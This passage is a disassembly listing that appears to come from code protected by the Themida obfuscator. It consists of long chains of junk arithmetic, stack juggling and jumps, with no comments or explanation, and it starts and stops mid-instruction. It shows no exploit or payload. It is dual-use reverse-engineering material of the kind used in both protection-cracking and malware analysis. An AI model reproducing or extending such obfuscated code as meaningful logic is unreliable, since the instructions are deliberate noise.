ptr [esp+4] jmp loc_55C913 ; --------------------------------------------------------------------------- loc_558129: ; CODE XREF: Themida_:00552342j push edx mov dl, 0B8h jmp loc_564CD6 ; --------------------------------------------------------------------------- loc_558131: ; CODE XREF: Themida_:0055AD0Aj push 1FC0h mov [esp], edx mov dh, 3Eh sub dh, 14h push ecx mov ch, 29h jmp loc_55CA28 ; --------------------------------------------------------------------------- loc_558146: ; CODE XREF: Themida_:00561806j not edi push edx push esi mov esi, 23245E2Bh jmp loc_561CCD ; --------------------------------------------------------------------------- loc_558154: ; CODE XREF: Themida_:00559214j sub ebp, 0E97A3780h sub ebx, ebp pop ebp add ebx, ebp add ebx, 5A7B2E73h jmp loc_55134D ; --------------------------------------------------------------------------- loc_55816A: ; CODE XREF: Themida_:0055BD8Fj xchg esi, [esp] pop esp jmp loc_55A757 ; --------------------------------------------------------------------------- loc_558173: ; CODE XREF: Themida_:0055D4F4j push 4429h mov [esp], esi push 683A130Ah jmp loc_556784 ; --------------------------------------------------------------------------- loc_558185: ; CODE XREF: Themida_:0055635Dj mov edx, 15D101A2h mov edi, 15D501A2h sub edi, edx mov edx, [esp] push edi mov edi, esp push ecx mov ecx, 4 sub edi, 6FA0563Ah jmp loc_5573F3 ; --------------------------------------------------------------------------- loc_5581A8: ; CODE XREF: Themida_:00563847j xor edi, ecx xchg edi, [esp] push dword ptr [esp] pop eax push 0C8Eh mov [esp], ebx jmp loc_55371A ; --------------------------------------------------------------------------- loc_5581BE: ; CODE XREF: Themida_:005633FDj mov edi, [esp] add esp, 4 add edi, 4 push ebx mov ebx, 4 add edi, ebx pop ebx jmp loc_557315 ; --------------------------------------------------------------------------- loc_5581DB: ; CODE XREF: Themida_:005613F5j pop ebp add esp, 4 push edi mov edi, esp jmp loc_55A16F ; --------------------------------------------------------------------------- loc_5581EA: ; CODE XREF: Themida_:005651E7j mov ebp, ebx jmp loc_55EBC0 ; --------------------------------------------------------------------------- loc_5581F1: ; CODE XREF: Themida_:005566F6j xchg ebp, [esp] jmp loc_558E15 ; --------------------------------------------------------------------------- loc_5581F9: ; CODE XREF: Themida_:00553393j mov cx, [esp] add esp, 2 jmp loc_55E505 ; --------------------------------------------------------------------------- loc_558208: ; CODE XREF: Themida_:00551075j mov ecx, 262F3F84h sub edi, ecx jmp loc_562882 ; --------------------------------------------------------------------------- loc_558214: ; CODE XREF: Themida_:005577D2j mov ah, 7Bh add ah, 0B2h not ah neg ah inc ah jmp loc_55107A ; --------------------------------------------------------------------------- loc_558224: ; CODE XREF: Themida_:0055C0D1j mov edx, 4 sub ebp, edx pop edx push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp mov [esp], ebp mov ebp, 77E2E34h add esi, 27F572Fh add esi, ebp jmp loc_555200 ; --------------------------------------------------------------------------- loc_55824B: ; CODE XREF: Themida_:00550961j sub eax, ebx mov ebx, [esp] add esp, 4 mov ecx, [esp] add esp, 4 xor eax, [esp] xor [esp], eax jmp loc_552F69 ; --------------------------------------------------------------------------- loc_558267: ; CODE XREF: Themida_:0056132Bj push ecx jmp loc_556A81 ; --------------------------------------------------------------------------- loc_55826D: ; CODE XREF: Themida_:005633BAj sub ebp, 30B64CD9h shl ebp, 3 push edi push edx mov edx, 22ED79A7h sub edx, 0B2466D6h jmp loc_5568CA ; --------------------------------------------------------------------------- loc_558288: ; CODE XREF: Themida_:00552029j push esi push eax push 5E9000F3h mov eax, [esp] jmp loc_552D2F ; --------------------------------------------------------------------------- lodsd jmp loc_5638BF ; --------------------------------------------------------------------------- loc_55829D: ; CODE XREF: Themida_:00554CC6j mov ebp, [esp] add esp, 4 xchg edi, esi xchg ebp, edi not ebp xchg ebp, edi xchg edi, esi push 92Bh mov [esp], ecx push ebx mov ebx, 267543A3h push 7A315E9Eh pop ecx push eax jmp loc_55ADDF ; --------------------------------------------------------------------------- loc_5582C7: ; CODE XREF: Themida_:0055085Bj or cl, 0EBh not cl add cl, 96h xor dl, cl mov ecx, [esp] add esp, 4 add dl, 0DFh xor cl, dl pop edx jmp loc_56578D ; --------------------------------------------------------------------------- loc_5582E5: ; CODE XREF: Themida_:00556568j jmp loc_550420 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push eax push esp pop eax add eax, 4 push ebx mov ebx, 4 push ebx push edi push edx mov edx, 6C12336Ch push 0A64h mov [esp], edx mov edx, 37B00EA0h not edx sub edx, 33B550D9h jmp loc_557B74 ; --------------------------------------------------------------------------- loc_55831E: ; CODE XREF: Themida_:00551C05j add esp, 4 push 6CBBh mov [esp], edx push eax mov eax, 72260215h jmp loc_551EA3 ; --------------------------------------------------------------------------- loc_558337: ; CODE XREF: Themida_:0055381Aj sub dl, 44h add al, 8Bh sub al, 55h add al, 7Bh add al, dl sub al, 7Bh add al, 55h sub al, 8Bh mov edx, [esp] jmp loc_554DA1 ; --------------------------------------------------------------------------- loc_558350: ; CODE XREF: Themida_:00565646j shr edi, 5 xchg ebp, edi not ebp xchg ebp, edi sub edi, 0CDAEE408h jmp loc_554C62 ; --------------------------------------------------------------------------- loc_558364: ; CODE XREF: Themida_:00558453j mov edi, [esp] push eax mov eax, esp push ebp mov ebp, 61E7982h push ebx mov ebx, 2557245Fh xor ebp, ebx jmp loc_55CA88 ; --------------------------------------------------------------------------- loc_55837D: ; CODE XREF: Themida_:0055FD53j add edx, edi mov edi, [esp] add esp, 4 push esi mov esi, 4 sub edx, 33F71A71h sub edx, 24AE38A1h jmp loc_55C5B5 ; --------------------------------------------------------------------------- loc_55839F: ; CODE XREF: Themida_:0055D102j add esp, 4 sub esp, 4 mov [esp], eax mov eax, 5CBC2813h jmp loc_55D7DA ; --------------------------------------------------------------------------- loc_5583B5: ; CODE XREF: Themida_:0055358Fj pop esi push esi mov esi, 547E2DC7h inc esi jmp loc_564C09 ; --------------------------------------------------------------------------- loc_5583C2: ; CODE XREF: Themida_:00554487j xor ebp, 84BDBFBEh sub edi, ebp pop ebp xor edx, edi mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], edi push ecx push 165D0889h mov ecx, [esp] add esp, 4 dec ecx neg ecx push edi push ebx push 410E5998h pop ebx sub ebx, 576B621Fh jmp loc_55C8B2 ; --------------------------------------------------------------------------- loc_5583FB: ; CODE XREF: Themida_:00552E9Bj pop esp mov [esp], ebx jmp loc_5619D7 ; --------------------------------------------------------------------------- loc_558404: ; CODE XREF: Themida_:0055C565j pop ebx push ebx jmp loc_5515D2 ; --------------------------------------------------------------------------- loc_55840B: ; CODE XREF: Themida_:00550C53j mov [esp], eax push ebx mov ebx, 0F581DE4h mov eax, 0F581DE6h sub eax, ebx pop ebx add esi, eax push dword ptr [esp] jmp loc_559515 ; --------------------------------------------------------------------------- loc_558426: ; CODE XREF: Themida_:00555E2Fj add esi, 3FFD3B1Eh jmp loc_55CDDA ; --------------------------------------------------------------------------- loc_558431: ; CODE XREF: Themida_:0055FF30j add cx, dx mov edx, [esp] add esp, 4 jmp loc_564A81 ; --------------------------------------------------------------------------- loc_558442: ; CODE XREF: Themida_:00551D0Ej add ebx, ebp sub ebx, 2A1C1333h pop ebp mov edi, ebx pop ebx and eax, edi push dword ptr [esp] jmp loc_558364 ; --------------------------------------------------------------------------- loc_558458: ; CODE XREF: Themida_:00562377j sub edx, edi pop edi jmp loc_563124 ; --------------------------------------------------------------------------- loc_558460: ; CODE XREF: Themida_:00554493j pop ecx jmp loc_557971 ; --------------------------------------------------------------------------- loc_558466: ; CODE XREF: Themida_:0055A1E8j not dword ptr [esp] pop esi jmp loc_5569EA ; --------------------------------------------------------------------------- loc_55846F: ; CODE XREF: Themida_:005587DDj push edi mov edi, 4 add ebx, edi pop edi xchg ebx, [esp] pop esp jmp loc_5640E3 ; --------------------------------------------------------------------------- loc_558481: ; CODE XREF: Themida_:00552EC5j pop esi jmp loc_55BB44 ; --------------------------------------------------------------------------- loc_558487: ; CODE XREF: Themida_:0056286Ej push ebp jmp loc_5563BE ; --------------------------------------------------------------------------- loc_55848D: ; CODE XREF: Themida_:00565513j pop edx jmp loc_55E25F ; --------------------------------------------------------------------------- loc_558493: ; CODE XREF: Themida_:00564CB7j push ebp push ebx mov ebx, 726F3F3Fh neg ebx shl ebx, 4 shl ebx, 7 sub ebx, 584131F7h xor ebx, 320AFF90h mov ebp, ebx jmp loc_561C67 ; --------------------------------------------------------------------------- loc_5584B5: ; CODE XREF: Themida_:0055C45Bj pop eax xchg ebx, [esp] mov esp, [esp] push ecx push edx jmp loc_565AFC ; --------------------------------------------------------------------------- loc_5584C3: ; CODE XREF: Themida_:00562B7Bj or bl, 0A6h xor bl, 0A6h sub bl, 0D9h jmp loc_560DF1 ; --------------------------------------------------------------------------- loc_5584D1: ; CODE XREF: Themida_:00558814j mov edi, 4308092Ah sub eax, edi pop edi add eax, 2FA0606h or eax, 54532FC4h sub eax, 4C246C3Ch push eax jmp loc_5521B0 ; --------------------------------------------------------------------------- loc_5584EE: ; CODE XREF: Themida_:00563C80j mov [esp], eax mov eax, 5D8F6E59h xchg eax, ecx not ecx xchg eax, ecx inc eax not eax shr eax, 6 xor eax, 8670E4Ch jmp loc_561330 ; --------------------------------------------------------------------------- loc_55850A: ; CODE XREF: Themida_:00564872j mov bh, 47h or bh, 0Dh jmp loc_557D41 ; --------------------------------------------------------------------------- loc_558514: ; CODE XREF: Themida_:00556E74j push ebp mov ebp, 2DC638D7h or ebp, 2C4A628Ah add ebp, 1FB201A3h push ecx mov ecx, 626E3684h shl ecx, 2 sub ecx, 1A804888h inc ecx inc ecx neg ecx add ecx, 8D14B19Eh add ebp, ecx pop ecx jmp loc_55E2F0 ; --------------------------------------------------------------------------- loc_558547: ; CODE XREF: Themida_:0055AAFBj sub esi, 66550E66h jmp loc_5557A2 ; --------------------------------------------------------------------------- loc_558552: ; CODE XREF: Themida_:005515CDj add esp, 4 add esp, 4 xchg eax, [esp] pop esp mov [esp], esp jmp loc_554EB4 ; --------------------------------------------------------------------------- loc_558567: ; CODE XREF: Themida_:0055C90Ej push 5A00h mov [esp], eax jmp loc_555B77 ; --------------------------------------------------------------------------- loc_558574: ; CODE XREF: Themida_:0056322Cj push 37FBh jmp loc_5579AB ; --------------------------------------------------------------------------- loc_55857E: ; CODE XREF: Themida_:005557F7j add edx, eax sub esp, 4 mov [esp], eax mov eax, 25E963FAh jmp loc_560111 ; --------------------------------------------------------------------------- loc_558593: ; CODE XREF: Themida_:00557B7Dj sub edi, edx pop edx mov ebx, edi jmp loc_5553EF ; --------------------------------------------------------------------------- loc_55859D: ; CODE XREF: Themida_:00557AECj push esi mov esi, esp add esi, 4 jmp loc_564F2B ; --------------------------------------------------------------------------- loc_5585AB: ; CODE XREF: Themida_:00557D3Cj mov [esp], ebp mov ebp, esp push eax jmp loc_55B6E9 ; --------------------------------------------------------------------------- loc_5585B6: ; CODE XREF: Themida_:00551B98j push ecx push ebp jmp loc_556A26 ; --------------------------------------------------------------------------- loc_5585BD: ; CODE XREF: Themida_:00554A02j mov [esp], esi mov esi, 4A502104h xor ebp, esi pop esi add ebx, ebp pop ebp xchg ebx, [esp] pop esp dec dword ptr [esp] pushf jmp loc_556CEF ; --------------------------------------------------------------------------- loc_5585D8: ; CODE XREF: Themida_:005602A0j shr ebx, 2 add ebx, 42BD32F1h add ebx, 5E32CCDh xor ebx, 1A5A7124h sub eax, ebx pop ebx jmp loc_5591D2 ; --------------------------------------------------------------------------- loc_5585F5: ; CODE XREF: Themida_:0055331Dj push ecx mov ecx, edx mov edi, ecx pop ecx pop edx mov ecx, edi jmp loc_55CA51 ; --------------------------------------------------------------------------- loc_558603: ; CODE XREF: Themida_:00552511j push edi mov edi, 4 jmp loc_553217 ; --------------------------------------------------------------------------- loc_55860E: ; CODE XREF: Themida_:00557C48j mov bl, 8Ah not bl jmp loc_553344 ; --------------------------------------------------------------------------- loc_558617: ; CODE XREF: Themida_:00564E1Ej xor [esp], edi xor edi, [esp] pop esp jmp loc_55667E ; --------------------------------------------------------------------------- loc_558623: ; CODE XREF: Themida_:00558AFBj mov edx, esp jmp loc_55FD4D ; --------------------------------------------------------------------------- loc_55862A: ; CODE XREF: Themida_:00552450j push 75F13CFFh jmp loc_555412 ; --------------------------------------------------------------------------- loc_558634: ; CODE XREF: Themida_:0055AEB6j add ecx, edx push ebx mov ebx, 2F27400Dh or ebx, 258D0023h add ebx, 2D5C4C3Eh jmp loc_55DE64 ; --------------------------------------------------------------------------- loc_55864D: ; CODE XREF: Themida_:00558D10j sub edx, eax sub edx, 21EC22ABh mov eax, [esp] add esp, 4 jmp loc_561FD6 ; --------------------------------------------------------------------------- loc_558663: ; CODE XREF: Themida_:0056551Cj mov esp, [esp] inc word ptr [esp] pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_558670: ; CODE XREF: Themida_:005507EDj sub dh, al pop eax inc dh and dh, 0CEh shr dh, 4 push ecx mov cl, 11h add dh, cl pop ecx sub bl, 0A2h add bl, dh add bl, 0A2h pop edx add bl, al jmp loc_557BB3 ; --------------------------------------------------------------------------- loc_558691: ; CODE XREF: Themida_:0055CAB4j add al, bh sub al, 0A1h sub al, 0EBh jmp loc_551F0B ; --------------------------------------------------------------------------- loc_55869C: ; CODE XREF: Themida_:00551E58j pop esp sub edi, 4 sub esp, 4 mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] mov [esp], edi push 19D31067h mov edi, [esp] add esp, 4 push 0D50h jmp loc_55A99B ; --------------------------------------------------------------------------- loc_5586CF: ; CODE XREF: Themida_:0055A3CDj push dword ptr [esp] pop esi push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_5636E0 ; --------------------------------------------------------------------------- loc_5586E8: ; CODE XREF: Themida_:005508CCj pop esp sub esp, 4 mov [esp], esi push ebp mov ebp, 72172299h jmp loc_5513AF ; --------------------------------------------------------------------------- loc_5586FD: ; CODE XREF: Themida_:005535A8j push edx mov dl, 0A8h push ebx mov bl, dl sub esp, 4 mov [esp], ecx mov ch, bl jmp loc_557511 ; --------------------------------------------------------------------------- loc_558713: ; CODE XREF: Themida_:00559298j mov edi, [esp] jmp loc_564CCC ; --------------------------------------------------------------------------- loc_55871B: ; CODE XREF: Themida_:005658D7j push ecx mov ecx, 4 jmp loc_553B13 ; --------------------------------------------------------------------------- loc_558726: ; CODE XREF: Themida_:00558F06j mov edi, 3A611FC0h add eax, edi mov edi, [esp] jmp loc_564C8F ; --------------------------------------------------------------------------- loc_558735: ; CODE XREF: Themida_:0055B4B9j or ecx, 19183768h add ecx, 0E663C896h sub ebp, 10C96EF0h add ebp, ecx add ebp, 10C96EF0h pop ecx sub esp, 4 mov [esp], eax push 2B4Fh mov [esp], edx mov edx, 1BCA624Ch sub esp, 4 mov [esp], ebx mov ebx, 3F44057Eh dec ebx jmp loc_559051 ; --------------------------------------------------------------------------- loc_558777: ; CODE XREF: Themida_:005575D9j mov ebp, edx pop edx jmp loc_564948 ; --------------------------------------------------------------------------- loc_55877F: ; CODE XREF: Themida_:00562C0Bj push 4F47h mov [esp], ebx mov ebx, 7DDF7392h shr ebx, 5 neg ebx shl ebx, 2 jmp loc_560DBB ; --------------------------------------------------------------------------- loc_558799: ; CODE XREF: Themida_:00551BD7j push 2CEh jmp loc_55173F ; --------------------------------------------------------------------------- loc_5587A3: ; CODE XREF: Themida_:0055B693j mov [esp], ebp mov ebp, 35D0443h sub esi, ebp pop ebp sub esp, 4 mov [esp], eax push ebx mov ebx, 316A5428h mov eax, ebx jmp loc_562B94 ; --------------------------------------------------------------------------- loc_5587C4: ; CODE XREF: Themida_:0056389Ej xor edx, [esp] mov esp, [esp] bswap eax jmp loc_565B7D ; --------------------------------------------------------------------------- loc_5587D1: ; CODE XREF: Themida_:00560A61j add esp, 4 push ebx mov ebx, esp add ebx, 4 jmp loc_55846F ; --------------------------------------------------------------------------- loc_5587E2: ; CODE XREF: Themida_:005534B7j mov eax, esi mov esi, [esp] add esp, 4 jmp loc_562F26 ; --------------------------------------------------------------------------- loc_5587EF: ; CODE XREF: Themida_:005655C7j pop eax jmp loc_55B1B5 ; --------------------------------------------------------------------------- loc_5587F5: ; CODE XREF: Themida_:0055B8F0j add ebp, 61396702h pop eax xor ebp, [esp] xor [esp], ebp jmp loc_559A74 ; --------------------------------------------------------------------------- loc_558807: ; CODE XREF: Themida_:0055771Ej push ecx jmp loc_561F89 ; --------------------------------------------------------------------------- loc_55880D: ; CODE XREF: Themida_:005603FBj push eax mov eax, 656215B3h push edi jmp loc_5584D1 ; --------------------------------------------------------------------------- loc_558819: ; CODE XREF: Themida_:00559632j push 29787145h pop ebx push edx mov edx, 186C7CA9h jmp loc_55E469 ; --------------------------------------------------------------------------- loc_55882A: ; CODE XREF: Themida_:0055B1FBj shr esi, 8 inc esi xor esi, 428CD88Ch add edx, esi pop esi jmp loc_55210C ; --------------------------------------------------------------------------- loc_55883C: ; CODE XREF: Themida_:005642A3j pop edi add esp, 4 sub ecx, edx mov edx, [esp] jmp loc_55B2C6 ; --------------------------------------------------------------------------- loc_55884A: ; CODE XREF: Themida_:0055C785j push dword ptr [esp] pop edi push ebp mov ebp, esp add ebp, 4 jmp loc_555B63 ; --------------------------------------------------------------------------- loc_55885C: ; CODE XREF: Themida_:0055FC99j push 23D34B3Dh pop edi jmp loc_552A73 ; --------------------------------------------------------------------------- loc_558867: ; CODE XREF: Themida_:0056556Aj pop ecx sub al, bl sub al, 0FDh sub al, 0B2h jmp loc_55DE7F ; --------------------------------------------------------------------------- loc_558873: ; CODE XREF: Themida_:00558E1Ej mov dl, 3Ah add dl, 51h jmp loc_562803 ; --------------------------------------------------------------------------- loc_55887D: ; CODE XREF: Themida_:0055F12Bj add esp, 2 add al, bl push ecx mov cl, 0D2h sub al, cl pop ecx add al, 0A8h jmp loc_555D72 ; --------------------------------------------------------------------------- loc_55888F: ; CODE XREF: Themida_:0055B73Bj sub ebx, 0FFFFFFFFh and ebx, 4C510CC8h shr ebx, 7 add ebx, 387A5D3Bh shl ebx, 5 add ebx, 715A6C4Ch jmp loc_55CAC6 ; --------------------------------------------------------------------------- loc_5588AF: ; CODE XREF: Themida_:0055FCECj dec byte ptr [esp] pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_5588B8: ; CODE XREF: Themida_:00554D1Bj sub eax, 77F73BF3h not eax sub eax, 1719DBF7h push ebx mov ebx, eax mov ebp, ebx pop ebx pop eax sub eax, ebp pop ebp push eax push dword ptr [esp+4] pop eax jmp loc_5569D7 ; --------------------------------------------------------------------------- loc_5588D9: ; CODE XREF: Themida_:0055392Ej sub edx, 190D3107h jmp loc_556E82 ; --------------------------------------------------------------------------- loc_5588E4: ; CODE XREF: Themida_:0055BEE1j xchg edi, [esp] pop esp pop edi push ebx mov ebx, 1 sub edx, ebx pop ebx push 55AAh mov [esp], edx not dword ptr [esp] jmp loc_55FAA9 ; --------------------------------------------------------------------------- loc_558902: ; CODE XREF: Themida_:0055FB12j mov cx, [esp] add esp, 2 jmp loc_559624 ; --------------------------------------------------------------------------- loc_55890E: ; CODE XREF: Themida_:0055AEBCj add esp, 4 pop ebp sub esp, 4 mov [esp], ebx mov ebx, 0CC763C5h shr ebx, 5 or ebx, 1535653Bh push edx mov edx, 37E01853h jmp loc_55A568 ; --------------------------------------------------------------------------- loc_558931: ; CODE XREF: Themida_:0055EE09j mov [esp], ebp mov ebp, 713458CDh or ebp, 0EE326AFh push edx jmp loc_55DB2A ; --------------------------------------------------------------------------- loc_558945: ; CODE XREF: Themida_:00562AE4j push edi mov edi, 159A082Fh jmp loc_55C369 ; --------------------------------------------------------------------------- loc_558950: ; CODE XREF: Themida_:00559A50j xor esi, [esp] jmp loc_55BB57 ; --------------------------------------------------------------------------- loc_558958: ; CODE XREF: Themida_:00565A37j shr ebp, 5 jmp loc_551FCB ; --------------------------------------------------------------------------- loc_558960: ; CODE XREF: Themida_:00554754j mov bh, 0D8h push ebx jmp loc_5568EC ; --------------------------------------------------------------------------- loc_558968: ; CODE XREF: Themida_:0055E0F1j mov esi, 6266031Ah sub edi, esi pop esi shr edi, 1 dec edi push 32A8h mov [esp], edi jmp loc_55123A ; --------------------------------------------------------------------------- loc_558980: ; CODE XREF: Themida_:00557662j mov eax, 1C384A5Dh add ebx, eax mov eax, [esp] add esp, 4 add ebx, edx sub ebx, 1C384A5Dh pop edx add ebx, 365773Ah sub ebx, eax sub ebx, 365773Ah push 29B9h mov [esp], ecx mov ecx, 2A174D38h push edx jmp loc_558AA9 ; --------------------------------------------------------------------------- loc_5589BA: ; CODE XREF: Themida_:00555C1Aj mov esp, [esp] push ebx mov ebx, esp add ebx, 4 push ebp push esi mov esi, 162D3D41h mov ebp, esi pop esi xchg ecx, ebp not ecx xchg ecx, ebp push eax push ecx push 14080EA6h pop ecx push ecx mov eax, [esp] add esp, 4 jmp loc_5567D6 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp], cl pushf jmp loc_55C5C2 ; --------------------------------------------------------------------------- loc_5589FD: ; CODE XREF: Themida_:00561B3Dj add eax, 4 xchg eax, [esp] jmp loc_55C3FC ; --------------------------------------------------------------------------- loc_558A08: ; CODE XREF: Themida_:0055B5C2j mov ebp, 670D5A84h push 61EBh mov [esp], ebx mov ebx, 0C0D3045h neg ebx inc ebx jmp loc_56303B ; --------------------------------------------------------------------------- loc_558A22: ; CODE XREF: Themida_:005537D2j push ecx jmp loc_556C31 ; --------------------------------------------------------------------------- loc_558A28: ; CODE XREF: Themida_:00553C00j add ecx, esi sub ecx, 799655FDh pop esi shl ecx, 1 shr ecx, 6 push 0F0Bh mov [esp], esi push 59F4h mov [esp], ecx sub esp, 4 mov [esp], esi push 55285C56h pop esi push edi mov edi, 38F17290h push edx jmp loc_552CF0 ; --------------------------------------------------------------------------- loc_558A5E: ; CODE XREF: Themida_:00561D0Dj add ah, 45h sub bl, ah pop eax movzx eax, al mov dx, [esp] push 5132h mov [esp], ebp jmp loc_555DC2 ; --------------------------------------------------------------------------- loc_558A78: ; CODE XREF: Themida_:0055F806j and ecx, 63DB3659h shl ecx, 2 not ecx shl ecx, 5 not ecx push ebp jmp loc_551693 ; --------------------------------------------------------------------------- loc_558A8E: ; CODE XREF: Themida_:00560660j mov esi, 49EF7E36h add esi, 3B03154Ch jmp loc_55E681 ; --------------------------------------------------------------------------- loc_558A9E: ; CODE XREF: Themida_:0055DEDDj add ecx, edx pop edx add ecx, 4 jmp loc_56270C ; --------------------------------------------------------------------------- loc_558AA9: ; CODE XREF: Themida_:005589B5j push eax jmp loc_564D20 ; --------------------------------------------------------------------------- loc_558AAF: ; CODE XREF: Themida_:00552ECDj pop esp push 56B2h mov [esp], ebx push edx push 39C3083Dh mov edx, [esp] add esp, 4 shr edx, 7 push edi mov edi, 73860Ch sub edx, edi pop edi sub esp, 4 jmp loc_5551B3 ; --------------------------------------------------------------------------- loc_558ADE: ; CODE XREF: Themida_:00559AC1j mov [esp], ebx push eax mov eax, 5080040Ah xor eax, 35D86D95h mov ebx, eax push dword ptr [esp] pop eax push edx mov edx, esp jmp loc_564C14 ; --------------------------------------------------------------------------- loc_558AFA: ; CODE XREF: Themida_:0055F43Aj push edx jmp loc_558623 ; --------------------------------------------------------------------------- loc_558B00: ; CODE XREF: Themida_:005555CDj mov eax, 166F0682h push eax dec dword ptr [esp] pop eax jmp loc_55DA87 ; --------------------------------------------------------------------------- loc_558B0F: ; CODE XREF: Themida_:0055D818j add edx, 71E514A4h sub edx, ebp sub edx, 71E514A4h pop ebp mov esi, edx pop edx push ecx push 218B3E9Ch jmp loc_562C0A ; --------------------------------------------------------------------------- loc_558B2C: ; CODE XREF: Themida_:00564629j pop ebp add ebp, 4 add ebp, 4 jmp loc_563068 ; --------------------------------------------------------------------------- loc_558B3B: ; CODE XREF: Themida_:005634C5j push ecx mov ecx, 636C43D2h not ecx neg ecx or ecx, 0DD246BEh shr ecx, 3 xor ecx, 34C376Dh add eax, ecx pop ecx mov edi, eax pop eax sub esi, edi mov edi, [esp] jmp loc_55A4CC ; --------------------------------------------------------------------------- loc_558B64: ; CODE XREF: Themida_:00561D28j mov eax, 0ADC21AF4h xor ebp, eax mov eax, [esp] add esp, 4 jmp loc_551D13 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp], cl pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_558B88: ; CODE XREF: Themida_:005506AFj mov edx, 4 add [esp+4], edx jmp loc_5620DB ; --------------------------------------------------------------------------- loc_558B96: ; CODE XREF: Themida_:005605E2j add ebp, edx pop edx push ebx mov ebx, ebp mov edi, ebx jmp loc_552BD1 ; --------------------------------------------------------------------------- loc_558BA3: ; CODE XREF: Themida_:0055069Aj add esi, ecx sub esi, 21F30FCAh pop ecx push ebp push edi jmp loc_564E2F ; --------------------------------------------------------------------------- loc_558BB3: ; CODE XREF: Themida_:005601FCj mov esi, esp push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edx mov edx, 4 add esi, edx pop edx jmp loc_55E2DE ; --------------------------------------------------------------------------- loc_558BD5: ; CODE XREF: Themida_:005506FAj mov [esp], edx jmp loc_55C013 ; --------------------------------------------------------------------------- loc_558BDD: ; CODE XREF: Themida_:00555DE1j push ebp jmp loc_55C8CF ; --------------------------------------------------------------------------- loc_558BE3: ; CODE XREF: Themida_:005552BCj add dword ptr [esp+8], 0BC843E0h sub [esp+8], ecx sub dword ptr [esp+8], 0BC843E0h pop ecx add [esp+4], eax add dword ptr [esp+4], 66D512FFh sub dword ptr [esp+4], 2B964049h pop eax jmp loc_55D0E7 ; --------------------------------------------------------------------------- loc_558C12: ; CODE XREF: Themida_:0055997Ej mov [esp], edx jmp loc_557963 ; --------------------------------------------------------------------------- loc_558C1A: ; CODE XREF: Themida_:0055169Aj pop ebp add eax, ecx pop ecx push ebp mov ebp, 4 jmp loc_563E6C ; --------------------------------------------------------------------------- loc_558C29: ; CODE XREF: Themida_:005659EEj mov esp, [esp] or eax, eax jz loc_5651DF push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_5559F1 ; --------------------------------------------------------------------------- loc_558C45: ; CODE XREF: Themida_:00564E2Aj neg eax shr eax, 4 push 4EB5h mov [esp], ebp mov ebp, 3F646B6Ah xor ebp, 70A0051h dec ebp xor ebp, 380B23h dec ebp jmp loc_561D21 ; --------------------------------------------------------------------------- loc_558C6A: ; CODE XREF: Themida_:00561BCBj neg edx xor edx, 453977F4h shr edx, 4 shl edx, 8 shr edx, 2 add edx, 0C4E05484h add eax, edx mov edx, [esp] add esp, 4 push ebx sub esp, 4 mov [esp], esi jmp loc_55CCF5 ; --------------------------------------------------------------------------- loc_558C98: ; CODE XREF: Themida_:00559F1Ej push dword ptr [esp] push dword ptr [esp] pop edi push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_55E821 ; --------------------------------------------------------------------------- loc_558CC6: ; CODE XREF: Themida_:0056357Cj pop ebp push ecx mov ecx, 4 sub eax, ecx mov ecx, [esp] add esp, 4 jmp loc_55BBFA ; --------------------------------------------------------------------------- loc_558CDD: ; CODE XREF: Themida_:005557EBj pop eax jmp loc_561435 ; --------------------------------------------------------------------------- loc_558CE3: ; CODE XREF: Themida_:00553D45j mov esi, 4 add ecx, esi pop esi add ecx, 4 xchg ecx, [esp] jmp loc_561951 ; --------------------------------------------------------------------------- loc_558CF6: ; CODE XREF: Themida_:0055E448j mov ecx, [esp] jmp loc_553B7F ; --------------------------------------------------------------------------- loc_558CFE: ; CODE XREF: Themida_:0055253Cj push ebx mov ebx, 10852FADh push eax mov eax, 503B6DC5h add edx, 21EC22ABh jmp loc_55864D ; --------------------------------------------------------------------------- loc_558D15: ; CODE XREF: Themida_:00562805j sub dl, 0E9h jmp loc_553E15 ; --------------------------------------------------------------------------- loc_558D1D: ; CODE XREF: Themida_:00565274j mov ebp, esi pop esi add [esp+4], ebp jmp loc_556342 ; --------------------------------------------------------------------------- loc_558D29: ; CODE XREF: Themida_:005593BFj pop ebx jmp loc_562AA7 ; --------------------------------------------------------------------------- loc_558D2F: ; CODE XREF: Themida_:0055DCE9j shl esi, 8 push ebp mov ebp, 547F7AC4h dec ebp not ebp push 6AF0h mov [esp], ecx push ebp push 547F6F66h mov ebp, [esp] add esp, 4 jmp loc_55D1D8 ; --------------------------------------------------------------------------- loc_558D57: ; CODE XREF: Themida_:0055C6F9j add esp, 4 pop ebx xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_5552E4 ; --------------------------------------------------------------------------- loc_558D6C: ; CODE XREF: Themida_:005551AEj mov ebx, esp push esi mov esi, 47C62EFBh dec esi jmp loc_562428 ; --------------------------------------------------------------------------- loc_558D7A: ; CODE XREF: Themida_:00552BB2j push edx mov edx, 6136A5Dh jmp loc_55424C ; --------------------------------------------------------------------------- loc_558D85: ; CODE XREF: Themida_:0055DD45j push ebx push ebp push 0C37649h jmp loc_5638B9 ; --------------------------------------------------------------------------- loc_558D91: ; CODE XREF: Themida_:005596ECj pop eax add edx, 1671463Bh add edx, ebx push eax jmp loc_55695E ; --------------------------------------------------------------------------- loc_558DA0: ; CODE XREF: Themida_:0055E374j inc edx xor edx, 3D726F66h mov eax, edx jmp loc_563EF9 ; --------------------------------------------------------------------------- loc_558DAE: ; CODE XREF: Themida_:00559B7Dj or edi, 3F783C8Dh sub edi, 8429A587h mov edx, edi pop edi dec edx or edx, 65550367h jmp loc_55544A ; --------------------------------------------------------------------------- loc_558DC9: ; CODE XREF: Themida_:0055C5D1j mov edi, 11D22953h or edi, 25A26C9Ch push edx mov 